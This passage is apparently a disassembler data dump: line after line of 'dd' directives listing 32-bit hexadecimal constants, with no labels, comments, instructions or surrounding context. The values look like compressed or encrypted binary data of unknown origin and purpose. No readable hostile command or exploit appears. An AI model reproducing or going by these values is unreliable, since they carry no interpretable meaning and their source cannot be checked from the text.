		dd 44FBA797h, 9CB7D0Eh,	240D621h, 12E82338h, 9565E055h
		dd 0EF2D80E4h, 1509211Eh, 463C5889h, 64830F31h,	0D9AB4F44h
		dd 0FB5EF9A5h, 0D0C1AB83h, 54FB6806h, 5E588F61h, 5EFBF295h
		dd 6B5A01FAh, 2CD2AA8Fh, 1DEE5F47h, 92D6ED96h, 0E609F6C8h
		dd 71ADA2Dh, 0B51B5AE5h, 0BEED603Eh, 2661A027h,	3541E0Ch
		dd 0A5A0C0BAh, 8C93DE97h, 0B112EA1Fh, 798DF70h,	1775C020h
		dd 1357565Fh, 0F350B47Ah, 0E1F8B40Bh, 68D38114h, 716673D8h
		dd 1272BE4Ah, 0D2AD85F4h, 280FB6F8h, 0D90B1CE2h, 2C08B008h
		dd 94172626h, 0BD17FA80h, 10D9F38Ah, 680BC081h,	101A1D9Ah
		dd 53B4C1DDh, 8DD6D3CDh, 4BA0BCD7h, 0FCCC2F6Fh,	424F8072h
		dd 18F52AFh, 0F25036FAh, 0E8E2EC66h, 0F75B16CBh, 730342E5h
		dd 2F625947h, 2CD45160h, 5EF07847h, 4E875865h, 2F77AA14h
		dd 0F34478B5h, 5A0BD590h, 0C6BE80DDh, 1D773528h, 532921BBh
		dd 2804BBBDh, 1E137CC8h, 0A399D7E3h, 5651256Ch,	0D5686115h
		dd 92E36B1Ch, 7FFCF192h, 70842Dh, 9AF84875h, 0A2C817A4h
		dd 0E59C1757h, 0EFC0C8FDh, 7DD744E2h, 0F74E44B8h, 0F93520FBh
		dd 75489128h, 0EF83B1DAh, 0D3E3EC6Fh, 7DE5501Dh, 6E5FBA99h
		dd 4E7395A9h, 0DA3E313Ah, 49287ECAh, 0D927D0E6h, 0F5EFEE07h
		dd 8705B03Bh, 5E518F7Eh, 2ED149F0h, 0FD563E82h,	8474A342h
		dd 0B37F1EBh, 99C6A407h, 8DBC367Ah, 778CA862h, 0C5B49C18h
		dd 58E12805h, 5809CB88h, 63822F1Eh, 84BAF280h, 939B6BAh
		dd 96A6E99Dh, 0D62D0C5Ch, 89E0A21Ah, 32FFA54Bh,	0CE605292h
		dd 5F482334h, 1F85041Ah, 9AE0E5Eh, 29AFCEA6h, 59832DC0h
		dd 0FEEA2510h, 57C83117h, 74192A8h, 12138E04h, 73E0F287h
		dd 2E76D835h, 0EB515Dh,	62BD131Fh, 0FE4067E9h, 54270B2Dh
		dd 0EF850DD8h, 0E528EE91h, 0B1BD5483h, 902B0CBh, 4E7E18C0h
		dd 123DC6F7h, 0AAC8BF0Fh, 35E98AC8h, 84EFA777h,	3B3AA06h
		dd 0E9092548h, 0F1DA6D3Fh, 28EC0820h, 90B2CAFEh, 0DCF42084h
		dd 2D40D8B7h, 0F2E8BA09h, 557B66C5h, 0CD7F4376h, 19A05113h
		dd 280A8B01h, 877B1FB5h, 0C30B2243h, 0C232D5CCh, 0D3D1F4h
		dd 37AC292Dh, 69EA89Ch,	8C2651E7h, 0DD8572F6h, 21455B5Fh
		dd 77BEA571h, 7AF9B221h, 182DB54h, 70408E05h, 88E100A3h
		dd 0E90F992Dh, 27CF50B0h, 800E9E89h, 8EAB164Ah,	13A65AC4h
		dd 0EB5AD716h, 99314ADDh, 9B87864h, 4D7E4C76h, 0DC43107Fh
		dd 1F1C4A44h, 63724477h, 0FA1AB123h, 91C088Dh, 5B230214h
		dd 1C25171h, 2885C1F2h,	0F011EB26h, 68CF021Bh, 0E1293F35h
		dd 0BFD86EC1h, 92D90BBh, 5E726287h, 8432855h, 6B0AF927h
		dd 0E970EDF4h, 11C9433h, 3D386CBFh, 46729D2Eh, 50028BC5h
		dd 0D8CE7082h, 7AD0B746h, 5BF1304Dh, 9C131BACh,	0C1F8944Ch
		dd 2C71500h, 56E1DD89h,	29852ABEh, 507B3AFBh, 1C91C860h
		dd 0AB207B7h, 0C398A4B2h, 1D60F580h, 2D5300B3h,	49E6AE8Ah
		dd 0BB4EB7E9h, 383C29AFh, 6668C003h, 903CF66Fh,	4A25509Ch
		dd 73F509C6h, 750545EBh, 6515F4A8h, 76AE1812h, 0FA8416FAh
		dd 7D56B992h, 7D26E359h, 42190025h, 1255CA81h, 28EF7Dh
		dd 0E4973D01h, 0CB5EE90Eh, 88323D17h, 72EC778Fh, 4540ECBh
		dd 0F703CD70h, 0D09B92DAh, 6242559Ah, 148EE580h, 0BB599E9h
		dd 2DF76F3h, 4D6009F2h,	15E043F5h, 0DD8012C8h, 0BB98FE3Bh
		dd 0CE050E36h, 65562D12h, 41518142h, 0C2005D18h, 13947924h
		dd 46FD5DB2h, 14821C08h, 0D9F7636Ah, 1892E897h,	69BD99DCh
		dd 2C1E2004h, 9C7E5C1h,	0A616730h, 0F00A901Bh, 4D9B043Bh
		dd 0ABF9B5E9h, 0C72572A7h, 40DAF790h, 0E9A3309Dh, 0ED694F94h
		dd 2F1388CAh, 730BB67Eh, 0D534CA55h, 0B175A9A9h, 406EAE8Bh
		dd 0C98EC502h, 894A34FDh, 11415EF5h, 680094ECh,	40A86959h
		dd 403E4B9h, 0F1813484h, 0E10D4FE0h, 1BB62EBFh,	21F82DC0h
		dd 2CCA2A40h, 6A2C0705h, 9546208h, 7D804E46h, 7E7902B7h
		dd 563A81BFh, 0CCC017BEh, 0A9E97C26h, 873B66B2h, 0C968494Eh
		dd 0C6894381h, 5ACBF46Bh, 8357E69Dh, 8FCDB494h,	0FAA46930h
		dd 316AF952h, 0A465E975h, 754B32B7h, 0E35F7127h, 2640916Dh
		dd 1040E493h, 5B500953h, 0F889DE89h, 0BDB2E540h, 2B74EDEFh
		dd 2F4841B7h, 3F4E417Dh, 0DF50F1C1h, 5622EB76h,	0F69DA98Ch
		dd 6E575A58h, 0C18A250Eh, 80141075h, 7CCB973Dh,	9E46FBC5h
		dd 0B526AA65h, 0F7138202h, 6C59E055h, 696A4C49h, 7BFA6F10h
		dd 0C0136BECh, 47AB09DAh, 0B458C69Ch, 7B70B195h, 41BA532Ch
		dd 0DEEF026Dh, 38C6095Fh, 0B4B4CD77h, 0BEE66255h, 0EE6381B2h
		dd 7AF1235Bh, 0E84ACD7Ch, 1100E5B4h, 673031B3h,	87DE39F7h
		dd 8D36274h, 0F284CE81h, 0E6BD8066h, 453E73BBh,	34F63336h
		dd 0F129B144h, 135EB490h, 89BEF068h, 353F68D3h,	0DB891381h
		dd 0F510E42Dh, 0AFB800C8h, 3547C377h, 54741FEDh, 0C5BDD928h
		dd 0C5D160B5h, 0B3E6FFB8h, 8E5C002h, 5F6664E9h,	0D87D83A2h
		dd 8BD2640Fh, 0A134CCEFh, 62E3904Bh, 908BFA97h,	35C5B412h
		dd 1884813Ah, 0B95281CFh, 6AF94FC1h, 0CA58F13Ch, 81A0CD48h
		dd 55257FE2h, 1805C4Dh,	965829BEh, 2AB6EDE9h, 55040A9Bh
		dd 997DC868h, 0DB764157h, 405D028Bh, 2647DEEFh,	0A51A3591h
		dd 0ACC4D4ECh, 0D8FDD676h, 51994B10h, 920A2043h, 0D45A3E7Bh
		dd 3E6A9DB1h, 0FA8D4FC4h, 0ABFB852Eh, 214ABC8Fh, 0C26471D6h
		dd 0CC425155h, 254B20DCh, 44D645EDh, 796C10Ah, 0D674CA31h
		dd 9BB54FD0h, 8DE84820h, 849D10h, 0B753C9B6h, 6C7FE65h
		dd 59B05066h, 0B5A10C20h, 4E8A7803h, 0D4290887h, 245E42B3h
		dd 0E3025F09h, 0F0098AB6h, 44734EC7h, 3761CA90h, 0B3D053D5h
		dd 0F666035h, 404855E2h, 0AE747A89h, 0EF24562Fh, 49D952A5h
		dd 2A5FC2ACh, 0E95800AEh, 0EB2348FAh, 2E31A0D6h, 16640D1Fh
		dd 0F187D8CDh, 0F2F3F230h, 0ED2A4B89h, 2001D45Ah, 0AB681352h
		dd 3B25C91Fh, 75A19ABCh, 762D893Fh, 0F729B145h,	0D0FEB954h
		dd 6BB3EB3Dh, 29C9FF09h, 7E280ADDh, 26ADE9A6h, 5DF84Bh
		dd 480C8BBFh, 1F78115h,	0E010243Bh, 58288E0Ch, 0B1FBF45Dh
		dd 3EC1903Eh, 34250395h, 0D0788E76h, 0D03E0h, 21E554D7h
		dd 0F7F4D32Dh, 68F1A558h, 31A6CC36h, 0A6468602h, 25EAD508h
		dd 815D0804h, 1EADA84h,	0DFE2D709h, 0B81BB6DAh,	0C8983941h
		dd 964270Fh, 0A6EDE98Ah, 30E694FDh, 0C66FAB5Ah,	3B09462Fh
		dd 89F789F9h, 57F1A4E5h, 0E98218B3h, 0D70B812Ah, 3472540Bh
		dd 74D3DD25h, 0FF07C4ACh, 74A710B1h, 6884E4C7h,	2DAB0F47h
		dd 10B73D0Bh, 25751531h, 0C59894Ch, 9D694382h, 57319251h
		dd 56582A90h, 0AAC78A0h, 6ABFD7C0h, 0B87CE23Ah,	0ED474BCDh
		dd 4DE503EEh, 7E0AC81Dh, 0DDC1129Eh, 0B157EA7Ah, 0B50D4AA0h
		dd 0D45C9C04h, 8A29BBBFh, 0BE365030h, 3BF01F8h,	4029A448h
		dd 123722C9h, 7D84285Bh, 0E9273CFAh, 0F4CB8625h, 0CD0170CAh
		dd 6B261598h, 25CF664Eh, 0D6F9A433h, 3405EB02h,	0B2724543h
		dd 4AE90880h, 0C2092097h, 4B4C01B0h, 1151924Fh,	8B4791AAh
		dd 60D95E96h, 653CBF8Bh, 5B310BE7h, 3EC93FCCh, 9AE6D758h
		dd 0FAEB8002h, 7DE8C0E9h, 0CB08E1Ch, 0B37C6AAAh, 0E8083C02h
		dd 0C59C8014h, 2E33171Ah, 2D2DFF7h, 31CB2A5Dh, 0A8BF7E55h
		dd 3EB00B62h, 0E5016F1Ah
		dd 476A1536h, 66906CE4h, 0BE05FE3Ah, 623FA711h,	5E07042Fh
		dd 6BE899FAh, 96907EE2h, 0CC02BE04h, 0E550FB20h, 78AB5E08h
		dd 9425E924h, 8BF7B7Bh,	0B9177C91h, 0CB2C73B2h,	17C11064h
		dd 1DFE53B1h, 54FA3DBEh, 0A3FBAC09h, 57253FCBh,	55A76802h
		dd 405D5F72h, 1E65D7h, 0F28143E7h, 382607FAh, 0BE09DFB0h
		dd 44F140Bh, 30AE45EDh,	0F745A77h, 9DE8304Eh, 5FF92981h
		dd 56816E58h, 7F347190h, 4E2003F4h, 2FE78152h, 4F280BF8h
		dd 0F10FACB0h, 53869FF9h, 0AB2165BBh, 10C6B9D0h, 8E3409EBh
		dd 8A5EF301h, 0D7735D5Ah, 828FA69Ah, 0DECAAE76h, 0F1F740F4h
		dd 474B3B68h, 3FC45ABDh, 67A81387h, 0F27BE349h,	50BFA692h
		dd 0FF9BA958h, 7F07576Dh, 0B467FC54h, 67EE57CAh, 0C7B5C2D2h
		dd 0E11883CAh, 4F94D562h, 8F1D0C4h, 925DB22Bh, 0AA5146BEh
		dd 76978BC9h, 5E688B8Eh, 6AE96E21h, 0DFF60008h,	2FB40650h
		dd 67BE480h, 0DC0F917Bh, 6349B353h, 0C228B8C3h,	0BC505D5Bh
		dd 0E7585078h, 0F882E1C1h, 58A6923Eh, 74C77360h, 0D0644B27h
		dd 5AB1B03Fh, 0C3A29035h, 5E3063F5h, 0EF4C0C2Fh, 0C20651A2h
		dd 0BD9F002Fh, 3AB04226h, 0AC6EBE3Ah, 0EE1636EBh, 0F741D9BDh
		dd 29E5936Bh, 0CF0EE9E0h, 0BD4051B6h, 20257E6h,	7E5C12Bh
		dd 53D7C4E9h, 58F0AD9Ch, 3C126F78h, 1EC54FE9h, 0B9519200h
		dd 5AFC7343h, 501FB47Eh, 5C6DA54h, 59659425h, 72CE0BC5h
		dd 251FB45Fh, 4D56C7E9h, 73F76678h, 0E98732D9h,	0D119D50Ch
		dd 0BBF853FDh, 3E5B7FAFh, 0E396D931h, 57C9BBB5h, 0B0E3863Fh
		dd 0D86B3213h, 66C96507h, 5D064BA2h, 74407362h,	0EB261B41h
		dd 0D6006C35h, 29AB63CEh, 203390DFh, 681894DBh,	74B55E0Fh
		dd 81D59C17h, 9043658h,	7E12A29h, 535F0801h, 1778A36Eh
		dd 21B69C3Ah, 0A30F4F17h, 0F08E2A76h, 0E583514Ah, 0ED650293h
		dd 1410E5Ah, 82383AE1h,	48C8C917h, 1045642h, 0CFABE8ACh
		dd 80890229h, 78432DCBh, 17F1A0F5h, 5A5CC1CCh, 225DE821h
		dd 75D43188h, 0E86AAD68h, 54BACF54h, 0AA00DEDCh, 0E9378C5Dh
		dd 1AB769ECh, 607F104Ah, 25090FFBh, 0B6D750F3h,	2D939866h
		dd 0BB51C1AEh, 94D1420Eh, 323801C3h, 55E96FDFh,	0F66B0A25h
		dd 9634CC34h, 0AA18177Ch, 7885B037h, 0B10B0FD3h, 821859D6h
		dd 617D34A3h, 49BDD17Fh, 844F67A2h, 15E3A440h, 73BF6C12h
		dd 0ACB38701h, 22F97AAh, 44268EBh, 0FF5E2CA5h, 9C9B48B4h
		dd 7685253Ah, 7E20ABF2h, 307EFC1h, 3CECBE56h, 0E8F11E3Fh
		dd 0D1F5C220h, 0FD72D0h, 0C18001E3h, 94F8B083h,	0F9B0002Ah
		dd 0C3885351h, 0E249D8F6h, 4C5D4831h, 2FE53B29h, 9F06558h
		dd 157AEA88h, 8B59CF1Eh, 0A4047E5h, 0AFF63B2Bh,	0EDCAB3E3h
		dd 527F8F70h, 9898BA20h, 7CE609B9h, 46573CCBh, 5E73B734h
		dd 0C2F2DEA7h, 1677C8CDh, 9702EACFh, 5EB0C8ECh,	5BBCD4Ch
		dd 17F1E92Bh, 0AD0461EEh, 0FF2C1214h, 0FC490A71h, 0D7DB136Fh
		dd 0E816E2B0h, 45CA0440h, 31467D18h, 6369E9B9h,	0D6F628FDh
		dd 595B0479h, 0BFB51585h, 0CDF806A7h, 0C654A0FCh, 0DE0EC582h
		dd 0C1309210h, 127436CDh, 1F5D660h, 0FC986395h,	0CAE9EA89h
		dd 0C188A048h, 9AD1C0ABh, 10467A23h, 0BF52A31Bh, 48C96CBCh
		dd 0DAFB7E6Eh, 4F7E60F2h, 0AB9B588h, 0FEBDF580h, 0BED16A7h
		dd 0E3F07A2Ch, 1212B0F6h, 0C70979B9h, 4B3887F3h, 40D2EE25h
		dd 77C07556h, 0F20A2A7Fh, 6355825h, 69565127h, 0F997CC70h
		dd 3C7D69BFh, 3C250097h, 2D3A5639h, 967721C0h, 7453E925h
		dd 0E97C2D2Ch, 0B319B62h, 0BB92DB04h, 92023F29h, 0B2520147h
		dd 0CBA5E0B8h, 9CC06880h, 3EB66063h, 40EDEE80h,	0E2E92993h
		dd 24A5485Fh, 2B26C03Fh, 237E245Eh, 0A09B7920h,	7A3780D7h
		dd 0A985B77Ah, 56CF801h, 5A7B2E73h, 55914A82h, 0E49349D9h
		dd 45290DE4h, 0A672444h, 5C3A133Eh, 0EB804A99h,	1901A2BAh
		dd 0ABF15D1h, 19E2D6D5h, 8F2F1DDh, 0EF60B951h, 98A0563Ah
		dd 0F24B2EA4h, 56CF9788h, 8E61C8A9h, 0CD320C4Eh, 759ECA5Ch
		dd 3AF809F9h, 0E3769DF1h, 85FD9DEDh, 0EEDDB448h, 0CC694ECFh
		dd 0C491C00h, 37EB92E5h, 62FDF2E6h, 0A690D70Bh,	6EF8CF29h
		dd 0B417A69Ch, 0B2C4CD01h, 0CF70D4F6h, 25E9EEFEh, 1A7D8E56h
		dd 1CE257A9h, 52087457h, 34098AC4h, 0C2077E2Eh,	3E09D7C5h
		dd 0B5B20557h, 1BEC9FD5h, 113DAE97h, 0E90B7836h, 0F87AAD02h
		dd 0BA40144Bh, 0B64CD9EDh, 4ABFB830h, 0A7F2C103h, 0C05DF679h
		dd 2566D6DDh, 0CA5D0B24h, 9941DD85h, 5E90C0F3h,	98887794h
		dd 89AD1DAAh, 377CB622h, 92FE87E3h, 619DE3EFh, 2B681008h
		dd 40C52309h, 431FA3E8h, 9E822675h, 0D77A315Eh,	2B180702h
		dd 0EBC98000h, 40D158F6h, 0CA30960Ah, 0C2C7EF7Eh, 82F7E9DFh
		dd 0ED4A890h, 0A68136A6h, 0ABB8C7B5h, 87543B29h, 1233396Ch
		dd 0A646889h, 0A0825BD1h, 0F637B00Eh, 50D98241h, 0FA8933B5h
		dd 68419571h, 522C6CBBh, 215B8C0h, 0E97D7226h, 80F7819Dh
		dd 0E2F44EAh, 7B8E55C3h, 3DDDD00Eh, 7AF2F578h, 0CA512E5Fh
		dd 5EF8A5Dh, 0BCCAAEh, 0CDAEE408h, 0C848FEE9h, 66D0D3A6h
		dd 327982BDh, 5FF4061Eh, 3125E040h, 0B208C90h, 62D69F47h
		dd 35CC7D5Ah, 18B9EA4Fh, 38A10C61h, 169E97AEh, 0BC4A46FCh
		dd 0C6D0B428h, 98BC2813h, 54252042h, 0C75C5E61h, 46E57E2Dh
		dd 0CFC847F4h, 0BFA2F547h, 2F584BDh, 0FDFA3109h, 124CC471h
		dd 16687551h, 0A3165D08h, 0F74909BBh, 9894C0D9h, 410E2F59h
		dd 621F6A60h, 0E91C6B7Dh, 572D44B7h, 0D32550AFh, 533BD395h
		dd 3B91C7B9h, 0BB00B2A3h, 0F581DE4h, 0BD7E6B8h,	0B84F41BCh
		dd 0EFE9833Dh, 9DC97A10h, 0A9D9FF4Bh, 21383549h, 532C6BABh
		dd 25C6413Fh, 0C8DDCAE5h, 98895D3Ch, 4CD9B578h,	0A2B50C93h
		dd 0C45BA03Bh, 0E930AC41h, 37ACB50Bh, 7BFE5E64h, 74BFEA9Ah
		dd 13C4EB9Fh, 0C9BC6220h, 9258BD30h, 20F9555Ch,	0CCAEA0DFh
		dd 8619D05Dh, 6F853F38h, 0BBDBF772h, 6F067986h,	3145BC07h
		dd 0F359C041h, 0A26FF90h, 0B288C432h, 0CC4B3F97h, 0EBB851F8h
		dd 9E03394Ah, 9BA6CB80h, 0EB061FF3h, 0E02093D9h, 2A09BF93h
		dd 75430809h, 100629A7h, 0C40D02FAh, 54532F00h,	246C3C2Dh
		dd 53BFBA4Ch, 0B800E39Ch, 5D8F6E59h, 0D173F791h, 9719D8B7h
		dd 4C00AA7Ch, 0E908670Eh, 728E6026h, 0CF8047B7h, 2D5E0D7Ah
		dd 0D70FDAF2h, 137C638h, 4A628ABAh, 0A39B702Ch,	1FB20116h
		dd 36848F03h, 0C7AAF46Eh, 88E9F024h, 1A388048h,	1EBDB41h
		dd 14B19E44h, 17F0698Dh, 5905DA9h, 0E7550E66h, 0E12A50EDh
		dd 0FA7054CAh, 0A46B1E2Dh, 0C9674D68h, 550B682Ah, 3317566h
		dd 37FB1BD6h, 0F440D406h, 0F2C25F01h, 63FAC4A1h, 7E25DC87h
		dd 166E66A1h, 0B404FB1Dh, 0F3FBCE52h, 0E01292BCh, 0C802C1D9h
		dd 519EE933h, 5A693020h, 820BBE4h, 4B502104h, 4FBEAC4Ah
		dd 975CC3CCh, 1708C4D1h, 614225E7h, 32F17CC0h, 0C42BD30h
		dd 48E32CCDh, 24043F05h, 901A5A71h, 0BDDE9D4h, 0D1897FC4h
		dd 0CC8B19BBh, 444EF8F9h, 0F61C6E95h, 6CAC6009h, 0D3F68AB3h
		dd 2FAD99A1h, 0CDFA2BDh, 0E2CDE05Bh, 775923EEh,	3C1E7A06h
		dd 0DE8A75F1h, 0D192B6CDh, 400DA200h, 9D812F27h, 8D30A6F8h
		dd 4C3EC225h, 0EA2D655Ch, 80BA5658h, 0EC22AB3Dh, 0F72C214Fh
		dd 7899F73h, 201B6E77h,	280E7DB0h, 60FE58C6h, 0C0CEE680h
		dd 51040EEEh, 121E11B1h
		dd 0A2B80B59h, 0AC7F63DDh, 7D4B2087h, 0F880C2CBh, 0EBE4A12Ch
		dd 0C4966FF6h, 44165C16h, 4A018FEEh, 1D60D58Eh,	0D3106768h
		dd 9EF2194Dh, 0D90D50CCh, 34225FCCh, 6DE9AB2Dh,	8E5FF8F2h
		dd 3B2D3E6h, 990BDE94h,	0C6021722h, 52078CB2h, 14A8A855h
		dd 0EE1C294Ah, 0EDFE5E60h, 13BCAFB1h, 0B8F8C5B1h, 81B3EDA1h
		dd 1FC0BF26h, 316E3A61h, 10C55A15h, 263768C9h, 4021918h
		dd 8063C896h, 6EF0EDA1h, 5CBD10FEh, 48082066h, 68B0D059h
		dd 55BB2B4Fh, 0CA624C02h, 5B0DF1Bh, 4403057Eh, 0DAE94B3Fh
		dd 0F4334B08h, 6880C192h, 0E34F4B47h, 739205DAh, 12BE7DDFh
		dd 0BEF52594h, 3586490Ch, 0FB8BF1CEh, 0F7468F9Ch, 5D04430Bh
		dd 8E5C5803h, 2881A05Eh, 316A3C54h, 0D0E9D887h,	31750BA3h
		dd 852E0F8Dh, 0D2D3F8BCh, 0E90C3DCAh, 0F07FFC8Dh, 27764C95h
		dd 47AA737h, 8029C020h,	3E6702ACh, 0E95B6139h, 126D8582h
		dd 25BFEC57h, 0B3E180D3h, 655C6215h, 6FC0771Eh,	78714568h
		dd 2C3BC29h, 186C7CA9h,	5CE8C1h, 9D08EEC1h, 0D88C2DE0h
		dd 709542E4h, 0A0F0D558h, 29AD5F32h, 7ACE0EE4h,	9AAF162Ah
		dd 7E90C67h, 763D87D3h,	7235C4Bh, 16A20C19h, 0AFB06A59h
		dd 0CDB2E4FDh, 0D8385618h, 0C262803Ah, 929F86E0h, 0D8E404ACh
		dd 28D207C0h, 45902C8h,	0D4E3E9A8h, 0D1EB3DC9h,	0CF0E381h
		dd 0F2B74C51h, 3BC3079Fh, 99387A5Dh, 0C43FBDAFh, 0C2715A6Ch
		dd 0FD0B4262h, 7B68AF48h, 16F32D80h, 1D77F73Bh,	0A31E4C2h
		dd 17F01719h, 5B1905C3h, 0A417BB58h, 0C6502EA3h, 8A4282E0h
		dd 97BD55F4h, 0E38CE59Eh, 0F2535F5Fh, 0D4292FBAh, 55AA0982h
		dd 0A257991Ah, 7771A7FFh, 16F81F94h, 0D63D0D48h, 0C5BE70EEh
		dd 0C5FC763h, 9CB13F4h,	1535653Bh, 18530700h, 429037E0h
		dd 0CDC530B5h, 71342E58h, 26AF021Fh, 82E00EE3h,	608251E5h
		dd 3D082F42h, 1996159Ah, 4C33B33Ah, 4CFC4F3Eh, 2F786BC9h
		dd 53D8B71Eh, 0DB408417h, 66031ABEh, 3D70BF62h,	4FEFD102h
		dd 7F32A868h, 88BA5A98h, 5DB830C0h, 2C1C384Ah, 5A32C301h
		dd 137A28D7h, 12D1D027h, 1D65773Ah, 71EB4F4h, 0A9B96808h
		dd 388300F1h, 382A174Dh, 5758EFEAh, 55B0E9D4h, 410FBE56h
		dd 0F7162D3Dh, 0CD870805h, 8DBC6h, 0A6685150h, 5914080Eh
		dd 938A63EFh, 0FFDAF91Ah, 0C5C290F9h, 0EBCED73Bh, 0BFF4F6h
		dd 5A84BDCBh, 6867090Dh, 8EB061EBh, 0CFA3045h, 43505A90h
		dd 1B99A6D2h, 89C50916h, 9D7E13F8h, 0C181305Ah,	0F1446FE1h
		dd 0C3F30F0Bh, 2559F41Ch, 3F0E657Dh, 285C5605h,	0BF7F8055h
		dd 0F1287290h, 9249A438h, 0C48001F7h, 58E32845h, 849EE97Bh
		dd 31EE5132h, 0D34A40h,	1259E181h, 8463DB36h, 0AAF1952h
		dd 0D1870505h, 0BE008C54h, 49EF7E36h, 4C09F3B8h, 873B0315h
		dd 77095B0Fh, 63F61E66h, 80459C5Bh, 45AFC271h, 3256B24Eh
		dd 5D6052A3h, 394BC308h, 0A12F8A29h, 0CF084FDh,	16BB7386h
		dd 0AB71FEE3h, 247BC6D5h, 0AD48365h, 35A880FBh,	0D8746D95h
		dd 0FE9D2798h, 0C11AC25Dh, 232028F2h, 82B802FBh, 50166F06h
		dd 36903750h, 0C84F7825h, 814A405h, 0EA2971E5h,	5D4A0820h
		dd 4A40DAF1h, 5C8B3E9Ch, 875EF821h, 1C7CF9CFh, 82A52D58h
		dd 43D220C0h, 0BB636C28h, 0C9070C94h, 0DC446BEh, 0C8031883h
		dd 76376DF1h, 97829D4Ch, 8F61C789h, 102F72FEh, 0B8001968h
		dd 0ADC21AF4h, 8C91C531h, 0FD919AC2h, 98E302F1h, 0BA1C4E78h
		dd 6B45C528h, 1F0A1395h, 9FEB1CDCh, 0A02E49DFh,	15DC7B2Bh
		dd 11825F25h, 9AC15559h, 2A04257Ch, 79FEBE84h, 0BCAD3B75h
		dd 0AD50AFD0h, 5E189557h, 569C3436h, 5E3CEC8Bh,	0E008402Fh
		dd 0B16C843h, 13E84C29h, 590B0CD0h, 0F4794401h,	0DF487AAFh
		dd 4049022Bh, 3432B96h,	3D9344E2h, 5D07A0F4h, 0B1FFC7AAh
		dd 126B436Ah, 1003B6D5h, 0AAD3C5ABh, 0AC104C8Ah, 0D8F704CDh
		dd 0C2FBE8C1h, 1ECC4E28h, 646B6A02h, 40F5813Fh,	61070AECh
		dd 0B230E4Dh, 0E9B8C338h, 0AFB590B7h, 0F4F2C09Eh, 90453977h
		dd 0DEF097ABh, 20C0865h, 5484C300h, 0BD01C4E0h,	6F534531h
		dd 5DCB63A2h, 4C9D4358h, 0F208BCD5h, 0D7EC4A55h, 5B4DA73Eh
		dd 545D2F28h, 0F876EB2Ch, 0B92F1D58h, 875209EEh, 41C2325Fh
		dd 0F3785EC0h, 2A8C60D9h, 0AE813531h, 1585B945h, 80E0D4BAh
		dd 3B6DC523h, 0A48F44EBh, 382DE9BBh, 0FEDE2EF9h, 0D7B0F809h
		dd 0DAFD536Ah, 0D61922EBh, 9D412090h, 406EB13Eh, 7F7AC414h
		dd 0F74D5401h, 6AF068D5h, 552DFD33h, 224FD0C3h,	75B7FEE8h
		dd 2FB8A744h, 583BFE5Bh, 9FD2C578h, 0FB03CFFCh,	4E47C62Eh
		dd 2E96AEF1h, 6A5DB841h, 0C7EC0613h, 0C87ABB4h,	0C3764986h
		dd 0AB412874h, 3B01437Ch, 1167146h, 0BEF130DAh,	42710495h
		dd 25BC3586h, 87D83D72h, 0AFB14B30h, 483C8DCFh,	0EF025D78h
		dd 8429A587h, 4A5F61DFh, 1367CAE8h, 0FA655503h,	53BF60D0h
		dd 11D23029h, 0A26C9C40h, 3EB42560h, 0FE1C651Ah, 0FBE915D7h
		dd 0F730F907h, 2C1E4F5Eh, 0B7C7AEC0h, 120E0F27h, 0EED47AE9h
		dd 92E7CD89h, 0FD7568C2h, 0F13E249Eh, 21510F5h,	0B3536D2Ch
		dd 880CF7A1h, 0A5417C30h, 4DAD6630h, 5084094Fh,	7931FAFAh
		dd 0BB664BF9h, 402E7112h, 2D04E004h, 0E709F0BCh, 5C20187h
		dd 0EB2932FDh, 6C34A57Dh, 35920513h, 4AFD832Dh,	28173420h
		dd 0FF05B59h, 26A31FDCh, 24CFB8A5h, 0E45AFC75h,	0A6C02CFBh
		dd 39995512h, 0DA2540Dh, 2895EA40h, 29492D77h, 27085088h
		dd 5B5A4E78h, 0BED2F6A3h, 8ABB3035h, 29FE5EA6h,	4FD63857h
		dd 21D328AAh, 3009D7BAh, 0C805BFDh, 0F3CB066Fh,	9EA30A6Ah
		dd 170DA689h, 1AF3F375h, 55108291h, 2D4E4E1Eh, 58C3D834h
		dd 9DBDA41Bh, 0BC524784h, 546DC456h, 0DACAFBh, 5053525Bh
		dd 21468h, 0D586766h, 576D0E3Eh, 12C3ACA0h, 0E905AC04h
		dd 0A0A94B1Eh, 6985DB02h, 7C7E2170h, 80B33B1Eh,	1B1CDB68h
		dd 0C781DCD7h, 296AB4F0h, 450C0860h, 805B2E67h,	2305936Ch
		dd 9920E9DDh, 13CFA3BFh, 0C8ABAA3Ch, 2167D2C3h,	18B1BD5Ah
		dd 1E604B60h, 5F12587Eh, 99A009DEh, 9A09D6DAh, 56FB9BECh
		dd 30044D47h, 100332F8h, 87E94012h, 3C4125B3h, 590653E0h
		dd 654F19B1h, 34F49DF5h, 5E351292h, 6350010Bh, 316C694Eh
		dd 0CE7D6099h, 194ADE0Ch, 0BF66D31h, 40C2A006h,	2631CBFFh
		dd 4ECE98EEh, 0E3FE09BEh, 23465DFh, 359660D6h, 0E912275Ah
		dd 7DF3BF79h, 585315Dh,	0DCE2F88Eh, 522887D0h, 1D390FF2h
		dd 72855E2Ch, 0B499AC14h, 0C275EDAAh, 0C88FF3E9h, 9081D1CFh
		dd 43C72836h, 9E30279Eh, 0CBF9BBFFh, 0CB4D03C9h, 52CA544Fh
		dd 0F3315804h, 84EA6403h, 7CB99144h, 0F23A2F24h, 0CA770869h
		dd 4B8CF04Ch, 2743A704h, 111056Bh, 176B42EBh, 0C18E7E1Dh
		dd 7AA401D2h, 7B7C5368h, 1D8754A4h, 0BC34E542h,	0C215D686h
		dd 3C0C1805h, 0D4832A4Dh, 6873958Ch, 6F09569Fh,	792776CAh
		dd 2E163A28h, 21001EBh,	7F29E680h, 0AF40C7A2h, 7EFEF0B3h
		dd 0BCC32CCBh, 6EF2226h, 0CC60320Dh, 2524664Dh,	7B8BAF8Ah
		dd 62BDFC49h, 185758C1h, 0EFDB221h, 0C04CE280h,	0EAD00562h
		dd 0F2F6E15Fh, 9375C88Bh, 0DFA2190h, 89094913h,	34EC8A12h
		dd 0C61EBBD3h, 202BE640h, 135210ACh, 0D08433E9h, 0CB4FF164h
		dd 0F220717Bh, 472924A9h, 2A806297h, 0EDCA7D09h, 0C4207B44h
		dd 933BA005h, 756C3D43h
		dd 27A16390h, 5B59DC5Ah, 0A3A0D882h, 4AF6808Eh,	0ECF1709Fh
		dd 2C1207EBh, 0D953E9A3h, 66240FD2h, 8AC2832Eh,	0BB5C050Ch
		dd 0EC2ABD6Dh, 726CC60Dh, 0E3F8A0D8h, 1D02F85h,	312D0FD8h
		dd 0CE55E1C5h, 5928686Ch, 47FF0F8Ah, 2A841D15h,	980500C6h
